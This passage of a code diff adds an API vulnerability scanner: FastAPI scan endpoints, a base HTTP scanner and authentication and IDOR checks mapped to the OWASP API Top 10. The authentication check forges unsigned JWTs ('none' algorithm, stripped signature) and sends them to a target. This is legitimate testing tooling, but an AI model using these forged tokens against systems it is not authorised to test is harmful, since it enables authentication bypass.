||||||
|
status_code=status.HTTP_201_CREATED,
|
||||||
|
)
|
||||||
|
@limiter.limit(settings.API_RATE_LIMIT_SCAN)
|
||||||
|
async def create_scan(
|
||||||
|
request: Request,
|
||||||
|
scan_request: ScanRequest,
|
||||||
|
db: Session = Depends(get_db),
|
||||||
|
current_user: UserResponse = Depends(get_current_user),
|
||||||
|
) -> ScanResponse:
|
||||||
|
"""
|
||||||
|
Create and execute a new security scan
|
||||||
|
"""
|
||||||
|
return ScanService.run_scan(db, current_user.id, scan_request)
|
||||||
|
|
||||||
|
|
||||||
|
@router.get(
|
||||||
|
"/",
|
||||||
|
response_model=list[ScanResponse],
|
||||||
|
status_code=status.HTTP_200_OK,
|
||||||
|
)
|
||||||
|
@limiter.limit(settings.API_RATE_LIMIT_DEFAULT)
|
||||||
|
async def get_user_scans(
|
||||||
|
request: Request,
|
||||||
|
skip: int = 0,
|
||||||
|
limit: int | None = None,
|
||||||
|
db: Session = Depends(get_db),
|
||||||
|
current_user: UserResponse = Depends(get_current_user),
|
||||||
|
) -> list[ScanResponse]:
|
||||||
|
"""
|
||||||
|
Get all scans for the authenticated user
|
||||||
|
"""
|
||||||
|
return ScanService.get_user_scans(db, current_user.id, skip, limit)
|
||||||
|
|
||||||
|
|
||||||
|
@router.get(
|
||||||
|
"/{scan_id}",
|
||||||
|
response_model=ScanResponse,
|
||||||
|
status_code=status.HTTP_200_OK,
|
||||||
|
)
|
||||||
|
@limiter.limit(settings.API_RATE_LIMIT_DEFAULT)
|
||||||
|
async def get_scan(
|
||||||
|
request: Request,
|
||||||
|
scan_id: int,
|
||||||
|
db: Session = Depends(get_db),
|
||||||
|
current_user: UserResponse = Depends(get_current_user),
|
||||||
|
) -> ScanResponse:
|
||||||
|
"""
|
||||||
|
Get a specific scan by ID
|
||||||
|
"""
|
||||||
|
return ScanService.get_scan_by_id(db, scan_id, current_user.id)
|
||||||
|
|
||||||
|
|
||||||
|
@router.delete(
|
||||||
|
"/{scan_id}",
|
||||||
|
status_code=status.HTTP_204_NO_CONTENT,
|
||||||
|
)
|
||||||
|
@limiter.limit(settings.API_RATE_LIMIT_DEFAULT)
|
||||||
|
async def delete_scan(
|
||||||
|
request: Request,
|
||||||
|
scan_id: int,
|
||||||
|
db: Session = Depends(get_db),
|
||||||
|
current_user: UserResponse = Depends(get_current_user),
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
Delete a scan by ID
|
||||||
|
"""
|
||||||
|
ScanService.delete_scan(db, scan_id, current_user.id)
|
||||||
|
|
@ -0,0 +1,16 @@
|
||||||
|
"""Security scanner modules for API vulnerability testing"""
|
||||||
|
|
||||||
|
from .base_scanner import BaseScanner
|
||||||
|
from .rate_limit_scanner import RateLimitScanner
|
||||||
|
from .auth_scanner import AuthScanner
|
||||||
|
from .sqli_scanner import SQLiScanner
|
||||||
|
from .idor_scanner import IDORScanner
|
||||||
|
|
||||||
|
|
||||||
|
__all__ = [
|
||||||
|
"BaseScanner",
|
||||||
|
"RateLimitScanner",
|
||||||
|
"AuthScanner",
|
||||||
|
"SQLiScanner",
|
||||||
|
"IDORScanner",
|
||||||
|
]
|
||||||
|
|
@ -0,0 +1,381 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2025
|
||||||
|
Authentication and authorization vulnerability scanner
|
||||||
|
|
||||||
|
OWASP API2:2023
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
from ..config import settings
|
||||||
|
from ..core.enums import (
|
||||||
|
ScanStatus,
|
||||||
|
Severity,
|
||||||
|
TestType,
|
||||||
|
)
|
||||||
|
from ..schemas.test_result_schemas import TestResultCreate
|
||||||
|
|
||||||
|
from .payloads import AuthPayloads
|
||||||
|
from .base_scanner import BaseScanner
|
||||||
|
|
||||||
|
|
||||||
|
class AuthScanner(BaseScanner):
|
||||||
|
"""
|
||||||
|
Tests for broken authentication vulnerabilities
|
||||||
|
|
||||||
|
Detects:
|
||||||
|
- Missing authentication on endpoints
|
||||||
|
- Weak/invalid token acceptance
|
||||||
|
- JWT vulnerabilities (none algorithm, weak secrets)
|
||||||
|
- Missing rate limiting on auth endpoints
|
||||||
|
|
||||||
|
Maps to OWASP API Security Top 10 2023: API2:2023
|
||||||
|
"""
|
||||||
|
|
||||||
|
def scan(self) -> TestResultCreate:
|
||||||
|
"""
|
||||||
|
Execute authentication tests
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
TestResultCreate: Scan result with findings
|
||||||
|
"""
|
||||||
|
missing_auth_test = self._test_missing_authentication()
|
||||||
|
if missing_auth_test["vulnerable"]:
|
||||||
|
return self._create_vulnerable_result(
|
||||||
|
details="Endpoint accessible without authentication",
|
||||||
|
evidence=missing_auth_test,
|
||||||
|
severity=Severity.HIGH,
|
||||||
|
recommendations=[
|
||||||
|
"Require authentication for all sensitive endpoints",
|
||||||
|
"Implement proper authentication middleware",
|
||||||
|
"Return 401 Unauthorized for missing/invalid credentials",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
if self.auth_token:
|
||||||
|
jwt_test = self._test_jwt_vulnerabilities()
|
||||||
|
if jwt_test["vulnerable"]:
|
||||||
|
return self._create_vulnerable_result(
|
||||||
|
details=f"JWT vulnerability: {jwt_test['vulnerability_type']}",
|
||||||
|
evidence=jwt_test,
|
||||||
|
severity=Severity.CRITICAL,
|
||||||
|
recommendations=jwt_test.get(
|
||||||
|
"recommendations",
|
||||||
|
[
|
||||||
|
"Properly validate JWT signatures",
|
||||||
|
"Reject 'none' algorithm tokens",
|
||||||
|
"Use strong secrets (256+ bits)",
|
||||||
|
"Implement token expiration checks",
|
||||||
|
],
|
||||||
|
),
|
||||||
|
)
|
||||||
|
|
||||||
|
invalid_token_test = self._test_invalid_token_handling()
|
||||||
|
if invalid_token_test["vulnerable"]:
|
||||||
|
return self._create_vulnerable_result(
|
||||||
|
details="Invalid tokens accepted by endpoint",
|
||||||
|
evidence=invalid_token_test,
|
||||||
|
severity=Severity.HIGH,
|
||||||
|
recommendations=[
|
||||||
|
"Reject invalid/malformed tokens with 401 status",
|
||||||
|
"Validate token format, signature, and expiration",
|
||||||
|
"Log authentication failures for monitoring",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
return TestResultCreate(
|
||||||
|
test_name=TestType.AUTH,
|
||||||
|
status=ScanStatus.SAFE,
|
||||||
|
severity=Severity.INFO,
|
||||||
|
details="Authentication properly implemented",
|
||||||
|
evidence_json={
|
||||||
|
"missing_auth_test": missing_auth_test,
|
||||||
|
"invalid_token_test": invalid_token_test,
|
||||||
|
},
|
||||||
|
recommendations_json=[
|
||||||
|
"Authentication is properly configured",
|
||||||
|
"Consider implementing additional security measures (2FA, refresh tokens)",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
def _test_missing_authentication(self) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test if endpoint requires authentication
|
||||||
|
|
||||||
|
Attempts to access endpoint without credentials.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: Test results
|
||||||
|
"""
|
||||||
|
session_without_auth = self.session.__class__()
|
||||||
|
session_without_auth.headers.update(
|
||||||
|
{
|
||||||
|
"User-Agent": f"{settings.APP_NAME}/{settings.VERSION}",
|
||||||
|
"Accept": "application/json",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
response = session_without_auth.get(
|
||||||
|
self.target_url,
|
||||||
|
timeout=settings.SCANNER_CONNECTION_TIMEOUT,
|
||||||
|
)
|
||||||
|
|
||||||
|
if response.status_code == 200:
|
||||||
|
return {
|
||||||
|
"vulnerable": True,
|
||||||
|
"status_code": response.status_code,
|
||||||
|
"response_length": len(response.text),
|
||||||
|
"description": "Endpoint accessible without authentication",
|
||||||
|
}
|
||||||
|
|
||||||
|
if response.status_code in (401, 403):
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"status_code": response.status_code,
|
||||||
|
"description": "Endpoint properly requires authentication",
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"status_code": response.status_code,
|
||||||
|
"description": "Endpoint returned unexpected status",
|
||||||
|
}
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"error": str(e),
|
||||||
|
"description": "Error testing authentication requirement",
|
||||||
|
}
|
||||||
|
|
||||||
|
def _test_jwt_vulnerabilities(self) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test for common JWT vulnerabilities
|
||||||
|
|
||||||
|
Tests:
|
||||||
|
- None algorithm acceptance
|
||||||
|
- Signature removal
|
||||||
|
- Weak secret detection (common patterns)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: JWT vulnerability test results
|
||||||
|
"""
|
||||||
|
if not self.auth_token or self.auth_token.count(".") != 2:
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"description": "No valid JWT token provided",
|
||||||
|
}
|
||||||
|
|
||||||
|
none_alg_test = self._test_none_algorithm()
|
||||||
|
if none_alg_test["vulnerable"]:
|
||||||
|
return none_alg_test
|
||||||
|
|
||||||
|
signature_removal_test = self._test_signature_removal()
|
||||||
|
if signature_removal_test["vulnerable"]:
|
||||||
|
return signature_removal_test
|
||||||
|
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"tests_performed": ["none_algorithm", "signature_removal"],
|
||||||
|
"description": "No JWT vulnerabilities detected",
|
||||||
|
}
|
||||||
|
|
||||||
|
def _test_none_algorithm(self) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test if server accepts JWT with 'none' algorithm
|
||||||
|
|
||||||
|
Critical vulnerability: allows unsigned tokens to be accepted.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: None algorithm test results
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
header, payload, signature = self.auth_token.split(".")
|
||||||
|
|
||||||
|
none_variants = AuthPayloads.get_jwt_none_variants()
|
||||||
|
|
||||||
|
for variant in none_variants:
|
||||||
|
malicious_header = self._base64url_encode(
|
||||||
|
json.dumps({"alg": variant, "typ": "JWT"})
|
||||||
|
)
|
||||||
|
|
||||||
|
malicious_token = f"{malicious_header}.{payload}."
|
||||||
|
|
||||||
|
response = self.make_request(
|
||||||
|
"GET",
|
||||||
|
"/",
|
||||||
|
headers={"Authorization": f"Bearer {malicious_token}"},
|
||||||
|
)
|
||||||
|
|
||||||
|
if response.status_code == 200:
|
||||||
|
return {
|
||||||
|
"vulnerable": True,
|
||||||
|
"vulnerability_type": "JWT None Algorithm",
|
||||||
|
"algorithm_variant": variant,
|
||||||
|
"status_code": response.status_code,
|
||||||
|
"recommendations": [
|
||||||
|
"Reject tokens with 'none' algorithm (all case variations)",
|
||||||
|
"Explicitly verify signature before accepting tokens",
|
||||||
|
"Use allowlist of accepted algorithms",
|
||||||
|
],
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"description": "None algorithm properly rejected",
|
||||||
|
}
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"error": str(e),
|
||||||
|
"description": "Error testing none algorithm",
|
||||||
|
}
|
||||||
|
|
||||||
|
def _test_signature_removal(self) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test if server accepts JWT with signature removed
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: Signature removal test results
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
header, payload, signature = self.auth_token.split(".")
|
||||||
|
|
||||||
|
malicious_token = f"{header}.{payload}."
|
||||||
|
|
||||||
|
response = self.make_request(
|
||||||
|
"GET",
|
||||||
|
"/",
|
||||||
|
headers={"Authorization": f"Bearer {malicious_token}"},
|
||||||
|
)
|
||||||
|
|
||||||
|
if response.status_code == 200:
|
||||||
|
return {
|
||||||
|
"vulnerable": True,
|
||||||
|
"vulnerability_type": "JWT Signature Not Verified",
|
||||||
|
"status_code": response.status_code,
|
||||||
|
"recommendations": [
|
||||||
|
"Require valid signature on all JWT tokens",
|
||||||
|
"Reject tokens with missing or invalid signatures",
|
||||||
|
"Implement proper JWT validation library",
|
||||||
|
],
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"description": "Signature removal properly rejected",
|
||||||
|
}
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"error": str(e),
|
||||||
|
"description": "Error testing signature removal",
|
||||||
|
}
|
||||||
|
|
||||||
|
def _test_invalid_token_handling(self) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test how server handles invalid/malformed tokens
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: Invalid token handling test results
|
||||||
|
"""
|
||||||
|
invalid_tokens = AuthPayloads.INVALID_TOKEN_FORMATS
|
||||||
|
|
||||||
|
accepted_invalid = []
|
||||||
|
|
||||||
|
for invalid_token in invalid_tokens:
|
||||||
|
try:
|
||||||
|
response = self.make_request(
|
||||||
|
"GET",
|
||||||
|
"/",
|
||||||
|
headers={"Authorization": f"Bearer {invalid_token}"},
|
||||||
|
)
|
||||||
|
|
||||||
|
if response.status_code == 200:
|
||||||
|
accepted_invalid.append(
|
||||||
|
{
|
||||||
|
"token": invalid_token[:50],
|
||||||
|
"status_code": response.status_code,
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if accepted_invalid:
|
||||||
|
return {
|
||||||
|
"vulnerable": True,
|
||||||
|
"accepted_invalid_tokens": accepted_invalid,
|
||||||
|
"count": len(accepted_invalid),
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"description": "Invalid tokens properly rejected",
|
||||||
|
"tokens_tested": len(invalid_tokens),
|
||||||
|
}
|
||||||
|
|
||||||
|
def _base64url_decode(self, data: str) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Decode base64url-encoded JWT data
|
||||||
|
|
||||||
|
Args:
|
||||||
|
data: Base64url-encoded string
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: Decoded JSON data
|
||||||
|
"""
|
||||||
|
padding = 4 - (len(data) % 4)
|
||||||
|
if padding != 4:
|
||||||
|
data += "=" * padding
|
||||||
|
|
||||||
|
decoded = base64.urlsafe_b64decode(data)
|
||||||
|
return json.loads(decoded)
|
||||||
|
|
||||||
|
def _base64url_encode(self, data: str) -> str:
|
||||||
|
"""
|
||||||
|
Encode data to base64url format
|
||||||
|
|
||||||
|
Args:
|
||||||
|
data: String data to encode
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
str: Base64url-encoded string
|
||||||
|
"""
|
||||||
|
encoded = base64.urlsafe_b64encode(data.encode()).decode()
|
||||||
|
return encoded.rstrip("=")
|
||||||
|
|
||||||
|
def _create_vulnerable_result(
|
||||||
|
self,
|
||||||
|
details: str,
|
||||||
|
evidence: dict[str, Any],
|
||||||
|
severity: Severity = Severity.HIGH,
|
||||||
|
recommendations: list[str] | None = None,
|
||||||
|
) -> TestResultCreate:
|
||||||
|
"""
|
||||||
|
Create a vulnerable scan result
|
||||||
|
|
||||||
|
Args:
|
||||||
|
details: Vulnerability description
|
||||||
|
evidence: Evidence dictionary
|
||||||
|
severity: Vulnerability severity
|
||||||
|
recommendations: List of remediation recommendations
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
TestResultCreate: Vulnerable result
|
||||||
|
"""
|
||||||
|
return TestResultCreate(
|
||||||
|
test_name=TestType.AUTH,
|
||||||
|
status=ScanStatus.VULNERABLE,
|
||||||
|
severity=severity,
|
||||||
|
details=details,
|
||||||
|
evidence_json=evidence,
|
||||||
|
recommendations_json=recommendations or [],
|
||||||
|
)
|
||||||
|
|
@ -0,0 +1,284 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2025
|
||||||
|
Base scanner class with common HTTP logic and evidence collection
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import time
|
||||||
|
import random
|
||||||
|
import statistics
|
||||||
|
from typing import Any
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
from abc import ABC, abstractmethod
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
from ..config import settings
|
||||||
|
from ..schemas.test_result_schemas import TestResultCreate
|
||||||
|
|
||||||
|
|
||||||
|
class BaseScanner(ABC):
|
||||||
|
"""
|
||||||
|
Abstract base class for all security scanners
|
||||||
|
|
||||||
|
Provides common HTTP functionality, request spacing, retry logic,
|
||||||
|
and evidence collection. Specific scanners inherit and implement scan().
|
||||||
|
"""
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
target_url: str,
|
||||||
|
auth_token: str | None = None,
|
||||||
|
max_requests: int | None = None,
|
||||||
|
):
|
||||||
|
"""
|
||||||
|
Initialize scanner with target and configuration
|
||||||
|
|
||||||
|
Args:
|
||||||
|
target_url: Base URL of API to scan
|
||||||
|
auth_token: Optional authentication token
|
||||||
|
max_requests: Optional limit on requests (from settings if None)
|
||||||
|
"""
|
||||||
|
self.target_url = target_url.rstrip("/")
|
||||||
|
self.auth_token = auth_token
|
||||||
|
self.max_requests = max_requests or settings.DEFAULT_MAX_REQUESTS
|
||||||
|
self.session = self._create_session()
|
||||||
|
self.last_request_time = 0.0
|
||||||
|
self.request_count = 0
|
||||||
|
|
||||||
|
def _create_session(self) -> requests.Session:
|
||||||
|
"""
|
||||||
|
Create persistent HTTP session with proper headers
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
requests.Session: Configured session object
|
||||||
|
"""
|
||||||
|
session = requests.Session()
|
||||||
|
|
||||||
|
session.headers.update(
|
||||||
|
{
|
||||||
|
"User-Agent":
|
||||||
|
f"{settings.APP_NAME}/{settings.VERSION}",
|
||||||
|
"Accept": "application/json",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
if self.auth_token:
|
||||||
|
session.headers.update(
|
||||||
|
{"Authorization": f"Bearer {self.auth_token}"}
|
||||||
|
)
|
||||||
|
|
||||||
|
return session
|
||||||
|
|
||||||
|
def _wait_before_request(
|
||||||
|
self,
|
||||||
|
jitter_ms: int | None = None
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
Implement request spacing to avoid overwhelming target
|
||||||
|
|
||||||
|
Based on research: production-safe scanning requires spacing
|
||||||
|
requests to avoid triggering rate limits or affecting service.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
jitter_ms: Random jitter in milliseconds to add (DEFAULT_JITTER_MS)
|
||||||
|
"""
|
||||||
|
if jitter_ms is None:
|
||||||
|
jitter_ms = settings.DEFAULT_JITTER_MS
|
||||||
|
|
||||||
|
required_delay = 1.0 / (
|
||||||
|
self.max_requests / settings.SCANNER_RATE_LIMIT_WINDOW_SECONDS
|
||||||
|
)
|
||||||
|
jitter = random.uniform(0, jitter_ms / 1000.0)
|
||||||
|
|
||||||
|
elapsed = time.time() - self.last_request_time
|
||||||
|
|
||||||
|
if elapsed < required_delay:
|
||||||
|
time.sleep(required_delay - elapsed + jitter)
|
||||||
|
else:
|
||||||
|
time.sleep(jitter)
|
||||||
|
|
||||||
|
self.last_request_time = time.time()
|
||||||
|
|
||||||
|
def make_request(
|
||||||
|
self,
|
||||||
|
method: str,
|
||||||
|
endpoint: str,
|
||||||
|
**kwargs: Any,
|
||||||
|
) -> requests.Response:
|
||||||
|
"""
|
||||||
|
Make HTTP request with retry logic and rate limit handling
|
||||||
|
|
||||||
|
Implements exponential backoff for server errors and respects
|
||||||
|
Retry-After headers for 429 responses.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
method: HTTP method (GET, POST, etc.)
|
||||||
|
endpoint: Endpoint path (will be joined with target_url)
|
||||||
|
**kwargs: Additional arguments passed to requests
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
requests.Response: Response object
|
||||||
|
|
||||||
|
Raises:
|
||||||
|
requests.RequestException: If request fails after retries
|
||||||
|
"""
|
||||||
|
self._wait_before_request()
|
||||||
|
|
||||||
|
url = urljoin(self.target_url, endpoint)
|
||||||
|
retry_count = 0
|
||||||
|
backoff_factor = 2.0
|
||||||
|
|
||||||
|
kwargs.setdefault(
|
||||||
|
"timeout",
|
||||||
|
settings.SCANNER_CONNECTION_TIMEOUT
|
||||||
|
)
|
||||||
|
|
||||||
|
while retry_count <= settings.DEFAULT_RETRY_COUNT:
|
||||||
|
try:
|
||||||
|
start_time = time.time()
|
||||||
|
response = self.session.request(method, url, **kwargs)
|
||||||
|
setattr(response, "request_time", time.time() - start_time)
|
||||||
|
|
||||||
|
self.request_count += 1
|
||||||
|
|
||||||
|
if response.status_code == 429:
|
||||||
|
retry_after = response.headers.get(
|
||||||
|
"Retry-After",
|
||||||
|
str(settings.DEFAULT_RETRY_WAIT_SECONDS)
|
||||||
|
)
|
||||||
|
wait_time = (
|
||||||
|
int(retry_after) if retry_after.isdigit() else
|
||||||
|
settings.DEFAULT_RETRY_WAIT_SECONDS
|
||||||
|
)
|
||||||
|
time.sleep(wait_time)
|
||||||
|
retry_count += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
if response.status_code >= 500 and retry_count < settings.DEFAULT_RETRY_COUNT:
|
||||||
|
wait_time = backoff_factor**retry_count
|
||||||
|
time.sleep(wait_time)
|
||||||
|
retry_count += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
return response
|
||||||
|
|
||||||
|
except (requests.Timeout, requests.ConnectionError):
|
||||||
|
if retry_count < settings.DEFAULT_RETRY_COUNT:
|
||||||
|
wait_time = backoff_factor**retry_count
|
||||||
|
time.sleep(wait_time)
|
||||||
|
retry_count += 1
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
|
||||||
|
return response
|
||||||
|
|
||||||
|
def get_baseline_timing(
|
||||||
|
self,
|
||||||
|
endpoint: str,
|
||||||
|
samples: int | None = None
|
||||||
|
) -> tuple[float,
|
||||||
|
float]:
|
||||||
|
"""
|
||||||
|
Establish baseline response time for an endpoint
|
||||||
|
|
||||||
|
Critical for time-based detection (e.g., blind SQLi). Takes multiple
|
||||||
|
samples and calculates mean and standard deviation.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
endpoint: Endpoint to test
|
||||||
|
samples: Number of samples to take (DEFAULT_BASELINE_SAMPLES)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
tuple[float, float]: (mean_time, stdev_time) in seconds
|
||||||
|
"""
|
||||||
|
if samples is None:
|
||||||
|
samples = settings.DEFAULT_BASELINE_SAMPLES
|
||||||
|
|
||||||
|
times = []
|
||||||
|
|
||||||
|
for _ in range(samples):
|
||||||
|
response = self.make_request("GET", endpoint)
|
||||||
|
times.append(getattr(response, "request_time", 0.0))
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
return statistics.mean(times), statistics.stdev(times)
|
||||||
|
|
||||||
|
def collect_evidence(
|
||||||
|
self,
|
||||||
|
response: requests.Response,
|
||||||
|
payload: Any | None = None,
|
||||||
|
**additional_data: Any,
|
||||||
|
) -> dict[str,
|
||||||
|
Any]:
|
||||||
|
"""
|
||||||
|
Collect evidence from test execution with sensitive data redaction
|
||||||
|
|
||||||
|
Args:
|
||||||
|
response: HTTP response object
|
||||||
|
payload: Payload used in test
|
||||||
|
**additional_data: Additional evidence data
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: Evidence dictionary
|
||||||
|
"""
|
||||||
|
evidence = {
|
||||||
|
"status_code":
|
||||||
|
response.status_code,
|
||||||
|
"response_time_ms":
|
||||||
|
round(getattr(response,
|
||||||
|
"request_time",
|
||||||
|
0.0) * 1000,
|
||||||
|
2),
|
||||||
|
"response_length":
|
||||||
|
len(response.text),
|
||||||
|
"headers":
|
||||||
|
self._redact_sensitive_headers(dict(response.headers)),
|
||||||
|
}
|
||||||
|
|
||||||
|
if payload is not None:
|
||||||
|
evidence["payload"] = str(payload)
|
||||||
|
|
||||||
|
evidence.update(additional_data)
|
||||||
|
|
||||||
|
return evidence
|
||||||
|
|
||||||
|
def _redact_sensitive_headers(self,
|
||||||
|
headers: dict[str,
|
||||||
|
str]) -> dict[str,
|
||||||
|
str]:
|
||||||
|
"""
|
||||||
|
Redact sensitive header values for evidence collection
|
||||||
|
|
||||||
|
Args:
|
||||||
|
headers: Original headers dictionary
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, str]: Headers with sensitive values redacted
|
||||||
|
"""
|
||||||
|
sensitive_headers = [
|
||||||
|
"authorization",
|
||||||
|
"cookie",
|
||||||
|
"x-api-key",
|
||||||
|
"x-auth-token",
|
||||||
|
]
|
||||||
|
|
||||||
|
redacted = {}
|
||||||
|
for key, value in headers.items():
|
||||||
|
if key.lower() in sensitive_headers:
|
||||||
|
redacted[key] = "[REDACTED]"
|
||||||
|
else:
|
||||||
|
redacted[key] = value
|
||||||
|
|
||||||
|
return redacted
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def scan(self) -> TestResultCreate:
|
||||||
|
"""
|
||||||
|
Execute the security scan
|
||||||
|
|
||||||
|
Must be implemented by specific scanner classes.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
TestResultCreate: Result of the scan
|
||||||
|
"""
|
||||||
|
|
@ -0,0 +1,335 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2025
|
||||||
|
IDOR/BOLA vulnerability scanner
|
||||||
|
|
||||||
|
Based on OWASP API1:2023 - Broken Object Level Authorization
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import re
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
from ..core.enums import ScanStatus, Severity, TestType
|
||||||
|
from ..schemas.test_result_schemas import TestResultCreate
|
||||||
|
from .base_scanner import BaseScanner
|
||||||
|
from .payloads import IDORPayloads
|
||||||
|
|
||||||
|
|
||||||
|
class IDORScanner(BaseScanner):
|
||||||
|
"""
|
||||||
|
Tests for Insecure Direct Object Reference (IDOR) vulnerabilities
|
||||||
|
|
||||||
|
Also known as Broken Object Level Authorization (BOLA).
|
||||||
|
Ranked #1 in OWASP API Security Top 10 2023.
|
||||||
|
|
||||||
|
Detects:
|
||||||
|
- Sequential ID enumeration
|
||||||
|
- UUID exposure and access
|
||||||
|
- Missing authorization checks on object access
|
||||||
|
|
||||||
|
Maps to OWASP API Security Top 10 2023: API1:2023
|
||||||
|
"""
|
||||||
|
|
||||||
|
def scan(self) -> TestResultCreate:
|
||||||
|
"""
|
||||||
|
Execute IDOR/BOLA tests
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
TestResultCreate: Scan result with findings
|
||||||
|
"""
|
||||||
|
id_enumeration_test = self._test_id_enumeration()
|
||||||
|
|
||||||
|
if id_enumeration_test["vulnerable"]:
|
||||||
|
return self._create_vulnerable_result(
|
||||||
|
details=f"IDOR vulnerability detected: {id_enumeration_test['vulnerability_type']}",
|
||||||
|
evidence=id_enumeration_test,
|
||||||
|
severity=Severity.HIGH,
|
||||||
|
recommendations=[
|
||||||
|
"Implement proper authorization checks for all object access",
|
||||||
|
"Verify user owns/has permission to access requested resource",
|
||||||
|
"Use UUIDs instead of sequential IDs (but still check authorization)",
|
||||||
|
"Implement access control lists (ACLs) or role-based access control (RBAC)",
|
||||||
|
"Log and monitor unauthorized access attempts",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
predictable_id_test = self._test_predictable_id_patterns()
|
||||||
|
|
||||||
|
if predictable_id_test["vulnerable"]:
|
||||||
|
return self._create_vulnerable_result(
|
||||||
|
details="Predictable ID patterns detected enabling enumeration",
|
||||||
|
evidence=predictable_id_test,
|
||||||
|
severity=Severity.MEDIUM,
|
||||||
|
recommendations=[
|
||||||
|
"Use non-sequential, non-predictable identifiers (UUIDs)",
|
||||||
|
"Implement rate limiting on ID-based endpoints",
|
||||||
|
"Add authorization checks regardless of ID format",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
return TestResultCreate(
|
||||||
|
test_name=TestType.IDOR,
|
||||||
|
status=ScanStatus.SAFE,
|
||||||
|
severity=Severity.INFO,
|
||||||
|
details="No IDOR/BOLA vulnerabilities detected",
|
||||||
|
evidence_json={
|
||||||
|
"id_enumeration_test": id_enumeration_test,
|
||||||
|
"predictable_id_test": predictable_id_test,
|
||||||
|
},
|
||||||
|
recommendations_json=[
|
||||||
|
"Authorization checks appear to be in place",
|
||||||
|
"Continue monitoring for authorization bypasses",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
def _test_id_enumeration(self) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test for ID enumeration vulnerabilities
|
||||||
|
|
||||||
|
Attempts to access resources with modified IDs to detect
|
||||||
|
missing authorization checks.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: ID enumeration test results
|
||||||
|
"""
|
||||||
|
extracted_ids = self._extract_ids_from_response()
|
||||||
|
|
||||||
|
if not extracted_ids:
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"description": "No IDs found in endpoint responses",
|
||||||
|
}
|
||||||
|
|
||||||
|
numeric_test = self._test_numeric_id_manipulation(extracted_ids)
|
||||||
|
if numeric_test["vulnerable"]:
|
||||||
|
return numeric_test
|
||||||
|
|
